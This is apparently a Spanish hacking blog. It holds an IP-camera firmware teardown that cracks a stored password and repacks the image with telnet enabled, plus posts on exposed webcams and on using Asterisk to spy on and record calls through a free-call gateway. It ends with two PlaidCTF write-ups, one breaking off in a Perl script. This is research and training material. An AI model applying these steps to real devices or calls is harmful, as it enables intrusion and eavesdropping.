2947160   	0x2CF858  	JFFS2 filesystem data little endian, JFFS node length: 1936
2949096   	0x2CFFE8  	JFFS2 filesystem data little endian, JFFS node length: 53
2949152   	0x2D0020  	JFFS2 filesystem data little endian, JFFS node length: 2491
2951644   	0x2D09DC  	JFFS2 filesystem data little endian, JFFS node length: 2635
2954280   	0x2D1428  	JFFS2 filesystem data little endian, JFFS node length: 2071
2956356   	0x2D1C44  	JFFS2 filesystem data little endian, JFFS node length: 399
2956756   	0x2D1DD4  	JFFS2 filesystem data little endian, JFFS node length: 2588
2959344   	0x2D27F0  	JFFS2 filesystem data little endian, JFFS node length: 2599
2961944   	0x2D3218  	JFFS2 filesystem data little endian, JFFS node length: 2321
2964268   	0x2D3B2C  	JFFS2 filesystem data little endian, JFFS node length: 2312
2966580   	0x2D4434  	JFFS2 filesystem data little endian, JFFS node length: 1499
2968080   	0x2D4A10  	JFFS2 filesystem data little endian, JFFS node length: 46
2968128   	0x2D4A40  	JFFS2 filesystem data little endian, JFFS node length: 2520
2970648   	0x2D5418  	JFFS2 filesystem data little endian, JFFS node length: 2584
2973232   	0x2D5E30  	JFFS2 filesystem data little endian, JFFS node length: 2710
2975944   	0x2D68C8  	JFFS2 filesystem data little endian, JFFS node length: 2788
2978732   	0x2D73AC  	JFFS2 filesystem data little endian, JFFS node length: 2683
2981416   	0x2D7E28  	JFFS2 filesystem data little endian, JFFS node length: 2552
2983968   	0x2D8820  	JFFS2 filesystem data little endian, JFFS node length: 2345
2986316   	0x2D914C  	JFFS2 filesystem data little endian, JFFS node length: 2638
2988956   	0x2D9B9C  	JFFS2 filesystem data little endian, JFFS node length: 2334
2991292   	0x2DA4BC  	JFFS2 filesystem data little endian, JFFS node length: 2078
2993372   	0x2DACDC  	JFFS2 filesystem data little endian, JFFS node length: 1448
2994820   	0x2DB284  	JFFS2 filesystem data little endian, JFFS node length: 1303
2996124   	0x2DB79C  	JFFS2 filesystem data little endian, JFFS node length: 44
2996168   	0x2DB7C8  	JFFS2 filesystem data little endian, JFFS node length: 72
2996240   	0x2DB810  	JFFS2 filesystem data little endian, JFFS node length: 46
2996288   	0x2DB840  	JFFS2 filesystem data little endian, JFFS node length: 85
2996376   	0x2DB898  	JFFS2 filesystem data little endian, JFFS node length: 44
2996420   	0x2DB8C4  	JFFS2 filesystem data little endian, JFFS node length: 1441
2997864   	0x2DBE68  	JFFS2 filesystem data little endian, JFFS node length: 92
2997956   	0x2DBEC4  	JFFS2 filesystem data little endian, JFFS node length: 48
2998004   	0x2DBEF4  	JFFS2 filesystem data little endian, JFFS node length: 3969
3001976   	0x2DCE78  	JFFS2 filesystem data little endian, JFFS node length: 2402
3004380   	0x2DD7DC  	JFFS2 filesystem data little endian, JFFS node length: 44
3004424   	0x2DD808  	JFFS2 filesystem data little endian, JFFS node length: 72
3004496   	0x2DD850  	JFFS2 filesystem data little endian, JFFS node length: 47
3004544   	0x2DD880  	JFFS2 filesystem data little endian, JFFS node length: 3793
3008340   	0x2DE754  	JFFS2 filesystem data little endian, JFFS node length: 3960
3012300   	0x2DF6CC  	JFFS2 filesystem data little endian, JFFS node length: 3501
3015804   	0x2E047C  	JFFS2 filesystem data little endian, JFFS node length: 3616
3019420   	0x2E129C  	JFFS2 filesystem data little endian, JFFS node length: 2246


Bueno, pues ya nos encontramos con el primer problema, porque en todos los manuales que he leído únicamente aparecían 3 o 4 líneas y se diferenciaban claramente cada una de las partes (boot, kernel, filesystem, …). Bueno, en cualquier caso, vemos varios GZIP, ZIP, LZMA y sobre todo, un montón de ficheros JFFS2.

Probamos a sacar algo de información del fichero, aunque no sirve de mucho:



pepelux# strings firmware-eng_v1.1.0.18.bin > firmware_strings.out

pepelux# hexdump -C firmware-eng_v1.1.0.18.bin > firmware_hexdump.out


Pasamos a extraer el GZIP a ver qué contiene … y vemos que podemos sacar algo de información interesante.


Para extraerlo usamos dd con los siguientes valores:
- bs=1 –> Para que lea cada vez un byte (esto nos ayudará para contar los bloques al extraer otras partes del binario)
- skip=15212 –> Comienzo del bloque
- count=778456 –> Número de bytes a extraer (793668 – 15212)



pepelux# dd if=firmware-eng_v1.1.0.18.bin bs=1 skip=15212 count=778456 of=file.gz
778456+0 registros leídos
778456+0 registros escritos
778456 bytes (778 kB) copiados, 1,44092 s, 540 kB/s

pepelux# gzip -d file.gz

pepelux# strings file > file_strings.out

pepelux# cat file_strings.out
.....
root=/dev/mtdblock/1 rootfstype=jffs2 noinitrd init=/linuxrc
.....
S3C44B0X RTC, (c) 2005 by threewater
.....
VC0568 driver installed.   Roger Jay (roger@enjoysmart.com)
.....
Linux version 2.6.11.8 (root@mandrake.myco.com) (gcc version 2.95.3 20010315 (release)(ColdFire patches - 20010318 from http://fiddes.net/coldfire/)(uClinux XIP and shared lib patches from http://www.snapgear.com/)) #87 Fri Nov 16 10:14:05 CST 2007
.....


Vamos ahora a analizar el sistema de ficheros. De nuevo lo extraemos con dd:


pepelux# dd if=firmware-eng_v1.1.0.18.bin skip=793668 bs=1 of=rootfs.img
2228224+0 registros leídos
2228224+0 registros escritos
2228224 bytes (2,2 MB) copiados, 3,84503 s, 580 kB/s


Y una vez extraída la imagen, hacemos una copia y la montamos:


# cp rootfs.img rootfs_original.img

pepelux# mkdir imagen

pepelux# losetup -f rootfs.img

pepelux# losetup -a
/dev/loop0: [0803]:2228231 (/home/pepelux/tmp/rootfs.img)

pepelux# mknod /dev/mtdblock0 b 31 0

pepelux# modprobe block2mtd block2mtd=/dev/loop0

pepelux# modprobe jffs2

pepelux# modprobe mtdblock

pepelux# mount -t jffs2 -o rw /dev/mtdblock0 imagen

pepelux# ls imagen -la
total 68
drwxr-xr-x 12 root    root     4096 ago  8 21:17 .
drwxr-xr-x  3 pepelux pepelux  4096 ago  8 21:17 ..
drwxr-xr-x  2 root    root     4096 ago  8 21:17 bin
-rw-r--r--  1 root    root    18908 ago  8 21:17 cfg.img
drwxr--r--  4 root    root     4096 ago  8 21:17 dev
drwxr--r--  3 root    root     4096 ago  8 21:17 etc
drwxr-xr-x  4 root    root     4096 ago  8 21:17 home
drwxr--r--  2 root    root     4096 ago  8 21:17 lib
drwxr--r--  5 root    root     4096 ago  8 21:17 mnt
drwxr--r--  2 root    root     4096 ago  8 21:17 proc
drwx------  2 root    root     4096 ago  8 21:17 root
lrwxrwxrwx  1 root    root        4 ago  8 21:17 sbin -> /bin
lrwxrwxrwx  1 root    root        8 ago  8 21:17 tmp -> /var/tmp
drwxr-xr-x  4 root    root     4096 ago  8 21:17 usr
drwxr--r--  8 root    root     4096 ago  8 21:17 var


Otra opción para extraer el sistema de ficheros es usando el Firmware-Mod-Kit


pepelux# cd src/jffs2

pepelux# ./unjffs2 firmware-eng_v1.1.0.18.bin

pepelux# cd jffs2-root/

pepelux# ls -la
total 68
drwxr-xr-x 12 root    root     4096 ago  8 21:17 .
drwxr-xr-x  3 pepelux pepelux  4096 ago  8 21:17 ..
drwxr-xr-x  2 root    root     4096 ago  8 21:17 bin
-rw-r--r--  1 root    root    18908 ago  8 21:17 cfg.img
drwxr--r--  4 root    root     4096 ago  8 21:17 dev
drwxr--r--  3 root    root     4096 ago  8 21:17 etc
drwxr-xr-x  4 root    root     4096 ago  8 21:17 home
drwxr--r--  2 root    root     4096 ago  8 21:17 lib
drwxr--r--  5 root    root     4096 ago  8 21:17 mnt
drwxr--r--  2 root    root     4096 ago  8 21:17 proc
drwx------  2 root    root     4096 ago  8 21:17 root
lrwxrwxrwx  1 root    root        4 ago  8 21:17 sbin -> /bin
lrwxrwxrwx  1 root    root        8 ago  8 21:17 tmp -> /var/tmp
drwxr-xr-x  4 root    root     4096 ago  8 21:17 usr
drwxr--r--  8 root    root     4096 ago  8 21:17 var


Y tras dotorear un poco, vemos:


pepelux# cat etc/inetd.conf
#telnet  stream tcp nowait root /bin/telnetd
ftp     stream tcp nowait root /bin/ftpd -l

pepelux# sudo cat etc/passwd
root:x:0:0:root:/root:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
roger:x:500:500::/home/roger:/bin/sh

pepelux# sudo cat etc/shadow
root::0:0:99999:7:::
nobody:*:0:0:99999:7:::
roger:db07tJygjO70U:0:0:99999:7:::





pepelux$ ./john pass.txt
Loaded 1 password hash (Traditional DES [24/32 4K])
roger            (roger)
guesses: 1  time: 0:00:00:00 100% (1)  c/s: 182  trying: roger - roger3


Podemos ver que el usuario root no tiene contraseña y que hay un usuario llamado roger con contraseña roger.

Además hay un fichero en etc con toda la configuración de la cámara, así como los usuarios y contraseñas por defecto:


pepelux# cat etc/ipcam.cfg
[Common]
Brand=EnjoySmart
ProdFullName=IPCamera_VS-IPC1002
ProdShortName=IPC1002
ProdNbr=100
ProdType=Network Camera
FWVersion=1.1.0.18
HWVersion=1.0.0.0
WebURL=http://www.vipcam.cn

[Network]
HostName=Vilar
WAN_IF_Name=eth0
StaticIP=192.168.0.234
SubnetMask=255.255.255.0
DefaultGatewayIP=192.168.0.1
ObtainIP_method=static
DHCLIENT=0
DNS_AUTO=0
DNSSvr1=210.82.5.1
DNSSvr2=202.106.0.20
Ethernet_Speed=0
DDNS_Provider=1
DDNS_domain=mycamera.3322.org
DDNS_loginName=whowho
DDNS_passwd=123456
DDNS_publicIP=1
DDNS_updateinterval=600
PPPoE_enable=0
PPPoE_UserAccount=pppoeuser
PPPoE_Passwd=pppoepasswd
PPPOE_AUTO_REDIAL=1
PPPOE_MAX_IDLE_TIME=0
PPPOE_SERVICENAME=
PPPOE_CLAMPMSS=1412
PPPOE_AUTO_DNS=1
HTTP_Port=80
E_MAC=00168E000000

[SIPService]
EnableSIPService=0
SIPUsername=owen@vipcam.cn
SIPPassword=111111
SIPServerIP=61.132.74.62
SIPServerPort=50600
CFGURL=http://wtsy.longcity.net:8080/Video/soap/soapAction.asp

[Camera]
CamInfo_Resolution=320x240
CamInfo_Local_Resolution=320x240
CamInfo_Compression=30
CamInfo_Rotation=3
CamInfo_Frequency=1
CamInfo_Location=Office
CamInfo_Name=Camera
CamInfo_Exposure_enable=1
CamInfo_Brightness=32
CamInfo_Contrast=32
CamInfo_Sharpness=1
CamInfo_Light_Compensation=0
CamInfo_ColorLevel=1
CamInfo_White_Balance=0
CamInfo_Exposure_Value=0
CamInfo_Max_Connect=10
CamInfo_Zoom=1
NightVisionLevel=1
NightVisionEnable=1
IPCamInstallDirection=1
CamLeftrightscale=0
CamUpdownscale= 0
Preset1X=0
Preset1Y=0
Preset2X=0
Preset2Y=0
Preset3X=0
Preset3Y=0
Preset4X=0
Preset4Y=0
Preset5X=0
Preset5Y=0
Preset6X=0
Preset6Y=0
WatcherX=0
WatcherY=0
WatcherWaitTime=5
IPCamOSDInfo=ipcam

[StatusLED]
LED_Enable=1
LED_Usage=flash
LED_FlashInterval=4
StatusLedEnable=1
PrivacyLedEnable=1

[Stream]
Stream_Type=MJPEG
Stream_Duration=10
Stream_Duration_Enable=1
Stream_Duration_Unit=s
Stream_NbrOfFrames=0
Stream_FPS=20
Stream_FPS_Enable=1

[System]
SystemAutoRebootEnable=0
SystemAutoRebootTime=02:00:00

[Account Settings]
JPEG_Encryption=0
Account_allowVisit=0
Account_Name1=admin
Account_Name2=user
Account_Name3=roger
Account_Name4=guest
Account_Name5=
Account_Name6=
Account_Name7=
Account_Name8=
Account_passwd1=$1$4qRCouM6wAU.vUbx8G.iaaa.
Account_passwd2=$1$7HhlSzbs5aShQSdkbGWJaadU
Account_passwd3=$1$UrgVGhWT.i1Ng9Catftbaadc
Account_passwd4=$1$ce4dq6biB/bvmn9SCfYlaac0
Account_passwd5=
Account_passwd6=
Account_passwd7=
Account_passwd8=
Account_access1=4
Account_access2=2
Account_access3=2
Account_access4=1
Account_access5=0
Account_access6=0
Account_access7=0
Account_access8=0

[Email]
Mail_Server=smtp.126.com
Mail_Sender=testipcam@126.com
Mail_Account=testipcam
Mail_Passwd=123456
Mail_Auth=1

[FTP]
Ftp_Server=192.168.1.41
Ftp_Port=21
Ftp_UserAccount=anonymous
Ftp_Passwd=a@a.com
Ftp_Mode=1

[Motion Detection]
MotionDetect_enable=0
MotionDetect_Sche_Start_1=00:00:00
MotionDetect_Sche_Start_2=
MotionDetect_Sche_Start_3=
MotionDetect_Sche_Start_4=
MotionDetect_Sche_End_1=23:59:59
MotionDetect_Sche_End_2=
MotionDetect_Sche_End_3=
MotionDetect_Sche_End_4=
MotionDetect_Sensitivity=2
MotionDetect_Send_Interval=4
MotionDetect_Ftp_Send_Interval=5
MotionDetect_Mail_Send_Interval=3
MotionDetect_StoreCF_enable=1
MotionDetect_StoreFTP_enable=0
MotionDetect_StoreMail_enable=0
MotionDetect_sendMail1=testipcam@126.com
MotionDetect_sendMail2=
MotionDetect_Ftp_Direct=/c/
MotionDetect_OutputRelay_enable=0

[Channel 1]
Channel1_enable=0
Channel1_Trigger_mode=1
Channel1_Sche_Start_1=00:00:00
Channel1_Sche_Start_2=
Channel1_Sche_Start_3=
Channel1_Sche_Start_4=
Channel1_Sche_End_1=23:59:59
Channel1_Sche_End_2=
Channel1_Sche_End_3=
Channel1_Sche_End_4=
Channel1_Send_Interval=1
Channel1_Ftp_Send_Interval=2
Channel1_Mail_Send_Interval=5
Channel1_StoreCF_enable=1
Channel1_StoreFTP_enable=1
Channel1_StoreMail_enable=0
Channel1_sendMail1=testipcam@126.com
Channel1_sendMail2=
Channel1_Ftp_Direct=/a/
Channel1_OutputRelay_enable=0

[Channel 2]
Channel2_enable=0
Channel2_Trigger_mode=1
Channel2_Sche_Start_1=00:00:0
Channel2_Sche_Start_2=
Channel2_Sche_Start_3=
Channel2_Sche_Start_4=
Channel2_Sche_End_1=23:59:59
Channel2_Sche_End_2=
Channel2_Sche_End_3=
Channel2_Sche_End_4=
Channel2_Send_Interval=2
Channel2_Ftp_Send_Interval=3
Channel2_Mail_Send_Interval=5
Channel2_StoreCF_enable=1
Channel2_StoreFTP_enable=0
Channel2_StoreMail_enable=1
Channel2_sendMail1=testipcam@126.com
Channel2_sendMail2=
Channel2_Ftp_Direct=/b/
Channel2_OutputRelay_enable=0

[SCHEDULE_ACTION]
Schedule_Action_enable=0
Schedule_Action_Start_1=00:00:00
Schedule_Action_Start_2=
Schedule_Action_Start_3=
Schedule_Action_Start_4=
Schedule_Action_End_1=23:59:59
Schedule_Action_End_2=
Schedule_Action_End_3=
Schedule_Action_End_4=
Schedule_Action_Interval=300
Schedule_Action_Ftp_Interval=60
Schedule_Action_Mail_Interval=30
Schedule_Action_StoreCF_enable=1
Schedule_Action_StoreFTP_enable=1
Schedule_Action_StoreMail_enable=1
Schedule_Action_sendMail1=
Schedule_Action_sendMail2=
Schedule_Action_Ftp_Direct=/d/1243

[END]


Cualquier cambio que hagamos en el sistema montado, al desmontarlo se guardará, con lo que podremos concatenar todas las partes para volver a obtener la imagen del firmware modificada. Simplemente tendremos que hacer un:


pepelux# cat file.gz rootfs.img > firmware-modificado.bin


Por ejemplo, algo que podemos hacer es descomentar la entrada del inetd.conf para permitir arrancar el servicio del telnet y, como tenemos la cuenta del usuario roger, podremos acceder sin problemas.


Bueno, podremos acceder sin problemas … si conseguimos cargar el firmware, porque trae un checksum y si modificamos el fichero no lo tomará como válido:


pepelux# cat file.gz rootfs.img > firmware-modificado.bin

pepelux# cat file.gz rootfs_original.img > firmware-test.bin

pepelux# sum firmware-eng_v1.1.0.18.bin firmware-modificado.bin firmware-test.bin
01157  2952 firmware-modificado.bin
20750  2952 firmware-test.bin
20750  2952 firmware-eng_v1.1.0.18.bin


Lo que tenemos es:

- firmware-modificado.bin creado con el rootfs.img que hemos modificado
- firmware-test.bin creado con el rootfs que tenemos intacto (con la copia que hicimos antes).


Como se ve, al ‘tocar’ la imagen, el checksum cambia.


¿Como solucionamos esto? Usando qemu:


pepelux# qemu-arm imagen/bin/upfirmware firmware-eng_v1.1.0.18.bin

pepelux# qemu-arm imagen/bin/upfirmware firmware-modificado.bin


Cuando ejecutemos upfirmware con el fichero modificado nos dará un error del tipo:

checksum is X and should be Y


Por tanto con un editor hexadecimal cambiamos los valores de la cabecera y ya nos debe ir.


En fin, todo depende de la finalidad que tengamos. Si lo que queremos es buscar algún bug, teniendo la imagen montada, es cuestión de echarle horas :)


Una vez terminamos nuestra tarea, desmontamos:


pepelux# umount /dev/mtdblock0

pepelux# rmmod block2mtd

pepelux# losetup -d /dev/loop0


He de decir que he tenido la suerte de que alguien había ya reverseado este firmware y además lo explica muy detalladamente en su web. Se trata de Jeremy Laidman (http://tools.rebel-it.com.au/) que, por cierto, le he hecho varias consultas y es una persona muy atenta, que me ha aclarado todas mis dudas.


Referencias:

http://www.saunalahti.fi/~oh6hop/vilar_ipcam/

http://www.dealextreme.com/forums/Forums.dx/Forum.14272~threadid.175873

http://www.devttys0.com/2011/05/reverse-engineering-firmware-linksys-wag120n/

http://tools.rebel-it.com.au/ipc-1002/

http://wiki.maemo.org/Modifying_the_root_image

http://balau82.wordpress.com/2010/03/10/u-boot-for-arm-on-qemu/

http://www.reversemode.com/index.php?option=com_content&task=view&id=77&Itemid=1

http://blog.48bits.com/2011/08/16/dellirium-participa/


Tags: ,
Posted in Firmware, Reversing | 1 Comment »

JoomlaScan v1.4

Domingo, julio 15th, 2012

La verdad es que pasa el tiempo rapidísimo. He sacado un rato libre hoy y tras revisar la última versión de JoomlaScan he visto que llevaba sin actualizarse desde el 30/11/2011 y la última versión detectada era la 1.7.

Tras echar un ojo a la web de desarrollo de Joomla he visto que la 2.5.x está disponible desde hace bastante tiempo y que la 3.0 está en beta, aún no descargable desde la web. Así que he modificado el script para que detecte hasta la versión 2.5.x.

De paso he añadido los últimos bugs del núcleo y algunos otros de componentes que he visto en algunas páginas de exploits.

 

Para actualizarlo, si tienes la versión 1.3 instalada, sólo debes hacer un update:

$ perl joomlascan.pl -update

Si no lo tienes instalado, o la versión es anterior a la 1.3, debes bajarte el tgz de mi web:  JoomlaScan

 

Tags: , ,
Posted in Escaner web, Exploits, Hacking, Joomla | 4 Comments »

El gran hermano nos vigila

Martes, julio 10th, 2012

Andaba yo aburrido jugando con el archiconocido SIPvicious, cuando en un escaneo de puertos 5060 he visto un User Agent algo extraño. Concretamente: VIVOSIPUA v0.1

La verdad es que no me sonaba ningún servidor SIP o terminal con ese nombre. Así que tras un escaneo más minucioso veo que tiene la web abierta. Así que toca cotillear un poco …. y … coño! una webcam apuntando a una playa con féminas bañándose!

Tras geolocalizar la IP veo que es una playa de Palma … joer! si es que uno ya no puede ni bañarse tranquilo.

Bueno, pues ya que me han salido varios User Agent similares, vamos a echar un ojo a ver qué más nos encontramos … por ejemplo, una cámara de vigilancia del Puerto de Vigo:

Entrando en la web del fabricante veo que se trata de cámaras de vigilancia que transmiten también voz, usando el puerto 5060. Pero lo que no logro entender es cómo sigue habiendo gente que no pone contraseña a este tipo de cosas. No es que haya una contraseña por defecto y que no la hayan cambiado, sino que directamente no hay ninguna. Acedes a la web y a disfrutar de las vistas.

Y no sólo eso. Es que además hay acceso a toda la configuración:

Incluso podemos poner una contraseña e impedir el acceso al propietario:

O actualizar el firmware, reiniciar la cámara, etc:

¿Para qué poner una cámara de seguridad si el ladrón puede desactivarla libremente? directamente invítale a entrar y que se lleve lo que quiera.

Tags: , , ,
Posted in Cámaras IP, VoIP | 3 Comments »

Servicios de llamadas gratis

Lunes, mayo 7th, 2012

Hay cientos de páginas web que nos ofrecen servicios de llamadas gratis a casi cualquier destino del mundo. Supongo que mucha gente tendrá la duda de si esto es o no cierto ya que, como se suele decir, nadie da duros por pesetas.


Realmente esto es cierto. Se realiza una llamada a una pasarela y pagamos el coste de la llamada a ese número, normalmente móvil nacional, y el desvío de la llamada al destino final es gratuito para nosotros. Es decir, Podemos llamar a Alemania, por ejemplo, a coste de llamada a móvil nacional. Y si nuestro operador nos permite poner un número favorito al que llamemos gratis, y escogemos la pasarela, podemos llamar totalmente gratis a otros móviles o destinos internacionales … siempre que nuestro operador cumpla el contrato y no nos facture luego las llamadas a ese número favorito (que no sería la primera vez que, por abuso, un operador incumple el contrato).


El funcionamiento es sencillo, nosotros llamamos a un móvil, que va conectado a un servidor de VoIP. Al descolgar nos pide que marquemos el número destino, y se efectúa la llamada a través de la pasarela. Nosotros pagamos sólo la llamada de nuestro móvil al de la pasarela y la segunda llamada corre a cargo del operador de VoIP que ofrece este servicio.


¿Dónde está el truco? El operador asume el cargo de esas llamadas que realizamos pero, el número al que estamos llamando, la pasarela, es un número retribuido, es decir, nuestro operador cobra (evidentemente una cantidad superior a la del coste de la llamada) por cada llamada recibida en ese número. Total: segundos recibidos – segundos hablados = beneficio.


Buscando en Internet, una web curiosa que he encontrado es freecall.com en la que dicen que ofrecen el servicio freecall más barato:

FreeCall | The cheapest freecalls on the planet!


Si freecall es gratis, ¿qué hay más barato que algo gratis? :)


Y bueno, ¿Cómo podemos montar nuestro negocio y ganar algo de pasta?


- Nos montamos un servidor Asterisk con un servicio de pasarela.

- Contratamos con un operador un número retribuido, del que percibamos un beneficio por cada llamada, a razón de los segundos hablados. Y le decimos que nos entregue las llamadas en la IP de nuestro Asterisk.

- Creamos una bonita web que ofrezca llamadas gratis a los destinos que ofrezcamos.

- Sacamos las llamadas a través de un SIP trunk con un operador de salida.


Por un lado, pagaremos a nuestro operador de VoIP las llamadas realizadas y por otro lado, el operador del número retribuido nos pagará por el uso de ese número. Como he comentado, hay que permitir usar únicamente destinos cuyo coste sea inferior a lo que nos pagan por la retribución de llamadas, sino haremos un mal negocio.


Si lo único que quieres es sacarte un dinerillo, siempre puedes usar ese número retribuido como número móvil personal y, en lugar de montar una pasarela, desviarlo a una extensión SIP que tengas configurada en tu móvil. De esta manera, cada vez que te llame alguien, estarás ganando dinero y, como el desvío es a una extensión, no necesitarás un SIP trunk y por tanto no tendrás que gastar dinero en llamadas.


El caso es que si montamos una pasarela, creamos una web, la posicionamos y conseguimos que mucha gente use este servicio, cualquier llamada que realicen a través de la pasarela, va a pasar por nuestro Asterisk, por lo que tendremos el control total de esa llamada, pudiendo, por ejemplo, realizar escuchas o grabar conversaciones.


Para realizar una escucha en directo basta con usar el comando Chanspy:

- Creamos en el Dialplan la extensión 9999 (por ejemplo).

- 9999 => Extensión que marcamos para acceder.

- 1234 => Nuestra contraseña.


Realizamos una llamada interna, desde cualquier extensión, al 9999 y tras poner nuestra clave (en este caso: 1234), marcamos la extensión que queremos espiar, que será la de la pasarela.


Para grabar una conversación usaremos el comando Mixmonitor:

- Añadimos el comando en la extensión donde recibamos la llamada externa (por ejemplo la 100).

- 100 => Extensión que monitorizamos.

- h => Ejecutamos un script al finalizar la llamada.
Guardamos la llamada en /tmp.

Con un script podemos convertirla a MP3 y mandarla por mail.


La moraleja de todo esto es que muchas empresas ofrecen servicios de llamadas gratis pero, ¿qué sabemos de esas empresas? ¿estarán grabando nuestras conversaciones? ¿quién habrá detrás de todo esto?

 

Tags: , ,
Posted in Asterisk, VoIP | 1 Comment »

PlaidCTF – RoboDate write-up

Lunes, abril 30th, 2012

Este es otro reto de los medio-fáciles, pues también valía sólo 100 puntos.


El enunciado decía:


So apparently robots, despite their lack of hormones, still have an underlying desire to mate. We stumbled upon a robot dating site, RoboDate. Hack it for us!


La URL del reto es: http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/ y tras acceder, si editamos el código fuente aparecía:


<!--
    <form action="/59ec1e5173d9cb794f1c29bc333f7327/login.py" method="POST">
        <lable for="username">Username:</label>
        <input id="username" name="username" placeholder="Username">
        <label for="status">Dating status:</label>
        <input id="status" name="status" placeholder="Single">
        <input value="Login" type="submit">
    </form>
-->


Con lo cual, intentamos cargar la página de login pasando como parámetro los campos username y status:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1


Esto nos redirigía a otra página:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/frontpage.py?token=13074cdda7654e75690573228d2cf91881f471a2ebc0c16c27250089e088a19c


De nuevo, editando el código fuente veíamos algo así:


<!--
    debug info:

    user_data = pepe|1|user
    key = Only admins can see the key.
-->


Tras varias pruebas intentando crear un tercer parámetro que indicara que somos admin, y de probar diferentes inyecciones, tratamos de inyectar un pipe:


http://23.20.214.191/59ec1e5173d9cb794f1c29bc333f7327/login.py?username=pepe&status=1|admin


Pero el resultado era:


<!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
-->


Lo curioso era que si cargabas la dirección del token directamente, también te mostraba esos resultados y, es imposible que dado un token así pueda obtener el username y el status que corresponde. Así que probamos a modificar los valores del token y, efectivamente, según lo que cambiáramos, podíamos alterar los datos.


Lo primero que se nos ocurrió fue cambiar la palabra user por admin:


Los valores a cambiar:
5155572fa13744________0831012355dfdae874c27fdcea73913a7731e6c1fc


Resultado:
5155572fa1374497319ce20831012355dfdae874c27fdcea73913a7731e6c1fc


Y así obteníamos: admi … pero no hubo forma de conseguir la n


<!--
    debug info:

    user_data = pepe|1|admi
    key = Only admins can see the key.
-->


De manera que probamos con root, que tiene la misma longitud que user:


5155572fa13744843a9eff0831012355dfdae874c27fdcea73913a7731e6c1fc


Pero tampoco hubo suerte.


<!--
    debug info:

    user_data = pepe|1|root
    key = Only admins can see the key.
-->


Y tras pensar un poco, recordamos que si poníamos status=1|admin nos generaba un escape en el pipe, pero luego podríamos probar a modificar el token para anular ese escape:


Metemos como parametro: status=1|admin


083a7fb3b87a71290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1\|admin|user
    key = Only admins can see the key.
    -->


Y modificando el token quitamos la \


083a7fb3b87a70290e663aca723f092cd4c4177c898ff2eeb609c5bc74d2dd7be63b18216638f5262602b04d99e636a5


    <!--
    debug info:

    user_data = pepe|1]|admin|user
    key = 2012-04-25_14:46:24.29582+05:27@2012%127.0.0.2_IS_BEST_KEY
    -->


Tags: , , ,
Posted in Hacking, Retos hacking | 2 Comments »

PlaidCTF – The Game write-up

Lunes, abril 30th, 2012

Este fin de semana pudimos jugar al CTF que prepararon los PPP (Plaid Parliament of Pwning) que, para mi gusto, es uno de los más complicados, además de divertidos. La verdad es que no conseguimos pasar del puesto 103 pero aún así nos lo pasamos genial concursando.

 

Entre el resto de equipos españoles, destacar a los int3pids que quedaron en el puesto 11, PentSec en el 74, Activalink en el 80, y algunos otros que quedaron por detrás nuestra.

 

Nosotros pasamos únicamente 4 retos, pero este concretamente me gustó porque había que programar y no sólo estrujarse el cerebro pensando. Está catalogados como nivel medio-fácil (viendo que sólo vale 100 puntos), así que podéis imaginar cómo serían los difíciles :)

 

El enunciado decía esto:

 

Robots enjoy some strange games and we just can’t quite figure this one out. Maybe you will have better luck than us.
23.22.16.34:6969

 

(nota: por saturación del servidor llegaron a cambiar de máquina 2 veces)

 

Tras conectar con un Netcat al servidor obteníamos algo así:

You have gotten 0 of 75
Choice 1 = f17775ea8c035349a2aca2a8bb3072897e
Choice 2 = 8ad96c125229183197c5ac7901216ba07f
Which one is bigger? (1 or 2)

A lo que debíamos aceptar 75 veces cuál de los dos era mayor, pero tras perder mucho tiempo buscando la lógica de los hashes:

 

- Mirando cuál era mayor
- Sumando los números
- Sumando las letras
- Comparando cada dígito
etc.

 

Al final optamos por programar un script que memorizara las soluciones a la espera de que se produjeran repeticiones.

 

Lo que hace el script es:

1- Preparamos 2 arrays para almacenar las parejas de tokens, en el primer array guardaremos los mayores y en el segundo, los menores.
2- Verificamos si la combinación solicitada está en nuestra lista de tokens almacenados (T1 > T2 o T2 > T1).
3- Si no está, verificamos si tenemos esos tokens guardados y hay algún valor intermedio que nos permita deducir si es mayor o menor (T1 > x > T2 o T2 > x > T1).
4- Si no tenemos la respuesta, probamos con un T1 > T2 y guardamos el resultado dependiendo de si hemos acertado o fallado.

 

Además de almacenar los tokens en arrays, los guardamos en disco para no perder los avances en caso de reiniciar por a algún fallo del server.

 

Y el script con el que conseguimos pasar la prueba es:

#!/usr/bin/perl

# by Pepelux

use IO::Socket;

my @t1;	# valores mayores
my @t2;	# valores menores

open (MYFILE, 'TheGame.txt');

while (<MYFILE>) {
	chomp;

	(my $token1, my $token2) = split(/ /, $_, 2);

	push (@t1, $token1);
	push (@t2, $token2);
}

close (MYFILE);

my $sc = new IO::Socket::INET (PeerAddr => '23.22.16.34',
		 PeerPort => '6969',
		 Timeout => '10',
		 Proto => 'tcp')
		 or die("Server is not available.\n");

while (1) {
	# cogemos los datos
	recv($sc, my $data1, 500, undef);
	my $tmp = $data1;
	$tmp =~ /gotten\s([0-9|\s|[a-z]*)/;
	my $values = "Found $1";
	$values =~ s/\n//g;

	if ($data1 =~ /76 of 75/i) {
		print "$data1\n\n";
		print "$data2\n\n";
		print "$data3\n\n";

		# guardamos en un fichero de logs
		open (MYFILE, '>>TheGame.log');
		print MYFILE "$data1\n";
		print MYFILE "$data2\n";
		close (MYFILE);
		exit;
	}

	if ($data1 !~ /bigger/) {
		recv($sc, my $data2, 500, undef);
	}

	# obtenemos los tokens
	my $tmp = $data1;
	$tmp =~ /Choice\s1\s=\s([a-f|0-9]*)\s/;
	my $token1 = $1;

	$tmp = $data1;
	$tmp =~ /Choice\s2\s=\s([a-f|0-9]*)\s/;
	my $token2 = $1;

	my $res = "1";
	my $new = 1;
	my $type = 0;

	# comprobamos si tenemos ese token guardado
	for (my $i = 0; $i < $#t1; $i++) {
		if (($t1[$i] eq $token1) && ($t2[$i] eq $token2)) {
			$res = "1";
			$new = 0;
			$type = 1;
		}

		if (($t2[$i] eq $token1) && ($t1[$i] eq $token2)) {
			$res = "2";
			$new = 0;
			$type = 2;
		}
	}

	if ($new eq 1) {
		# comprobamos si tenemos que token1 > que algún otro > token2
		FOO1: {
